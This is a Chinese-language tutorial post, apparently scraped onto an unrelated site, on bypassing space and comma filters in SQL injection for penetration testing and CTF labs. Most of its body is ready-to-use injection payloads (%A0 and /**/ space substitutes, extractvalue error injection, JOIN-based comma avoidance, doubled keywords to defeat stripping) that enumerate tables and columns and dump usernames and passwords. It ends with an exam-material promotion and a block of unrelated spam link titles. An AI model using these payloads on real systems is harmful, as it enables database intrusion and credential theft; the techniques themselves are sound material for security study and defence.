当前位置: 首页 > wzjs >正文

湖北省疾病预防控制中心官方网站中小型企业网站模板

湖北省疾病预防控制中心官方网站,中小型企业网站模板,牡丹江百度贴吧,免费入驻的卖货平台大家好,今天想和大家分享一些实用的技巧,专门针对渗透测试或CTF比赛中可能遇到的特殊字符过滤问题。这篇文章主要讲解当遇到空格和逗号过滤时,如何巧妙地进行绕过,让我们的SQL注入成功执行。 一、空格过滤绕过技巧 当目标网站或…

大家好,今天想和大家分享一些实用的技巧,专门针对渗透测试或CTF比赛中可能遇到的特殊字符过滤问题。这篇文章主要讲解当遇到空格和逗号过滤时,如何巧妙地进行绕过,让我们的SQL注入成功执行。

一、空格过滤绕过技巧

当目标网站或靶场环境中过滤了空格字符后,我们可以使用以下几种方式来绕过限制:

  • 使用+号替代空格:例如,union+select+1,2,3
  • URL编码替代:%20(空格)、%09(水平制表符HT)、%0A(换行符LF)、%0C(换页符FF)、%0D(回车CR)、%0B(垂直制表符VT)、%A0(不间断空格NBS)。
  • 使用SQL注释符/**/替代空格,如:union/**/select
  • 括号()替代空格:select(database())
  • 使用报错注入技巧绕过限制。

实战案例

%A0为例(此方法适用于Linux环境):

?id=-1'%A0union%A0select%A01,database(),3%A0anandd%A0'1'='1

再举一个利用报错注入的案例:

?id=1'||extractvalue(1,concat('^',(database())))||'1'='1

其中,extractvalue() 函数配合concat()可引发报错,帮助我们绕过字符过滤并获取数据。尤其注意到在过滤了or的情况下,我们还可以通过对关键字进行复写(如将information_schema改为infoorrmation_schema)来绕过过滤。

二、逗号过滤绕过技巧

当逗号被过滤掉时,我们可使用join关键字进行绕过,巧妙利用SQL的表连接特性完成查询。

常规逗号查询方式

select u.*,e.* from users u, emails e where u.id=e.id;

  • • u.*e.*表示:u表中的所有的列和e表中所有的列

  • • users uemails e表示:users表的别名为u表;emails表的别名为e

  • • u.id=e.id表示:两张表相同的字段进行关联

使用join内联进行绕过

select u.*,e.* from users u join emails e on u.id=e.id;

  • • u.*e.*表示:u表中的所有的列和e表中所有的列

  • • users uemails e表示:users表的别名为u表;emails表的别名为e

  • • join users on emails表示:将users表和emails表进行内联,on用于条件限定

实战案例

原本的逗号查询:

select * from users where id = 1 union select 1,2,3;

join代替后的语句为:

select * from users where id = 1
union
select * from (select 1)a join(select 2)b join(select 3)c;

具体含义:

  • (select 1)a:别名为a
  • (select 2)b:别名为b,使用join连接a
  • (select 3)c:别名为c,同理连接

实操演示

当靶场环境明确过滤逗号时,可如此绕过:

查询当前数据库名:

?id=-1' union select * from (select 1)a join(select database())b join(select 3)c --+

查询表名(注意绕过过滤的关键字复写技巧):

?id=-1' union select * from (select 1)a
join(select group_concat(table_name) from infoorrmation_schema.tables where table_schema=(select database()))b
join(select 3)c --+

查询列名:

?id=-1' union select * from (select 1)a
join(select group_concat(column_name) from infoorrmation_schema.columns where table_schema=(select database()) anandd table_name = 'users')b
join(select 3)c --+

 

查询用户信息(用户名与密码):

# 查询用户名
?id=-1' union select * from (select 1)a
join(select group_concat(username) from users)b
join(select 3)c --+# 查询密码
?id=-1' union select * from (select 1)a
join(select group_concat(passwoorrd) from users)b
join(select 3)c --+

 


三、小结

以上技巧的掌握,在日常渗透测试以及CTF挑战中都会大有帮助。希望大家通过这篇文章对空格与逗号的过滤绕过技巧有更深入的理解和实践。感谢阅读!


免费备考资料分享(红帽、甲骨文、华为)

为了帮助更多考生高效备考,我根据自己的学习经验,整理了以下几个核心备考资料:

  1. 考试大纲
    覆盖HCIE笔试和实验考试的所有重点知识,帮助你精准掌握考试范围,避免盲目学习。

  2. 培训教材
    详细的理论知识和案例分析,核心技术的深入解析,是夯实基础的不二之选。

  3. 实验手册
    实验考试配置命令速查手册和模拟实验案例集,涵盖关键场景,助你在实验环节高效应对。

获取方式
如果你需要这些备考资料,可以在评论区留言或者私信我,我会将资料打包发给你,希望对你的备考有所帮助!

http://www.dtcms.com/wzjs/555593.html

相关文章:

  • 网站设计的标准宁波网站建设哪家公司好
  • 源码下载网站网站开发的广告词
  • 咖啡线上推广方案东莞网站建设优化企业
  • 成品网站建设流程图盐城有没有做公司网站
  • 企业电器网站建设方案如何制作个人网站
  • 网站建设售后报价怎么在百度上推广自己
  • 如何确保网站安全游戏制作公司
  • 有自媒体谁还做网站联合易网北京网站建设公司怎么样
  • 危险网站解除网站建筑设计
  • 江苏省建设考试网站准考证打印销售小程序软件有前景吗
  • 外贸网站建设方法网站开发入无形资产摊销几年
  • 一个网站怎么做2个服务器规模以上工业企业是指
  • 百度站长平台网页手机旧房翻新装修多少钱一平方
  • 做标书的专业网站网站总体建设方面的优势与不足
  • 局机关网站建设创建一个软件需要多少钱
  • 企业自建网站营销论文互联网营销做什么
  • 网站建设接单吧wordpress换ip
  • 苏州做网站公司选苏州聚尚网络阿里云 万网 网站
  • 天津做网站好的公司有哪些wordpress author 404
  • 简述网站开发的主要阶段深圳商城网站设计
  • 巴塘网站建设阿里巴巴网站推广方式
  • php笑话网站源码做动画上传网站赚钱么
  • 学做网站零基础腾讯云申请域名
  • 包头seo营销公司网站设计影响seo的因素
  • 网站域名的单词横沥建设网站
  • 慕枫网站建设邢台网站建设讯息
  • 漳州seo建站大连金州区天气预报
  • php网站开发技术背景内江网站开发
  • 公关做的好的网站wordpress左侧悬浮导航菜单源码
  • 做网站开发的需求文档seo标题优化关键词